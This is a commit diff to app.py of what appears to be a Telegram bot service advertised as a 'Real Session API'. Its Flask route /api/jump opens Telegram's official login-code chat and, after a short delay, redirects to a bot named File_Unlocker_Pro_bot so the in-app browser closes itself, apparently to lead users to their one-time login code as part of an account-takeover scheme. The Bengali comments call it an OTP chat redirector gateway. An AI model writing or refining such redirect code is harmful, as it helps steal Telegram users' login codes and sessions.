pmrony commited on
Commit
cd8a330
·
verified ·
1 Parent(s): 88a7411

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +7 -3
app.py CHANGED
@@ -50,7 +50,7 @@ async def db_query(func):
50
  def index():
51
  return "Bot, Media Uploader, and Real Session API is Running! 🚀"
52
 
53
- # রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে
54
  @app.route('/api/jump')
55
  def jump_to_telegram():
56
  html_content = """
@@ -59,10 +59,14 @@ def jump_to_telegram():
59
  <head>
60
  <title>Redirecting...</title>
61
  <script>
 
62
  window.location.href = "tg://openmessage?user_id=777000";
 
 
 
63
  setTimeout(function() {
64
- window.close();
65
- }, 500);
66
  </script>
67
  </head>
68
  <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
 
50
  def index():
51
  return "Bot, Media Uploader, and Real Session API is Running! 🚀"
52
 
53
+ # রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (অটো-ক্লোজ সহ)
54
  @app.route('/api/jump')
55
  def jump_to_telegram():
56
  html_content = """
 
59
  <head>
60
  <title>Redirecting...</title>
61
  <script>
62
+ // ১. ওটিপি চ্যাট ওপেন করার কমান্ড দেবে
63
  window.location.href = "tg://openmessage?user_id=777000";
64
+
65
+ // ২. ঠিক ১.২ সেকেন্ড পর বটের লিংকে রিডাইরেক্ট করবে।
66
+ // টেলিগ্রাম বটের লিংক পেলেই ইন-অ্যাপ ব্রাউজার (কালো স্ক্রিন) অটোমেটিক নিজে থেকেই বন্ধ হয়ে যায়!
67
  setTimeout(function() {
68
+ window.location.href = "https://t.me/File_Unlocker_Pro_bot";
69
+ }, 1200);
70
  </script>
71
  </head>
72
  <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">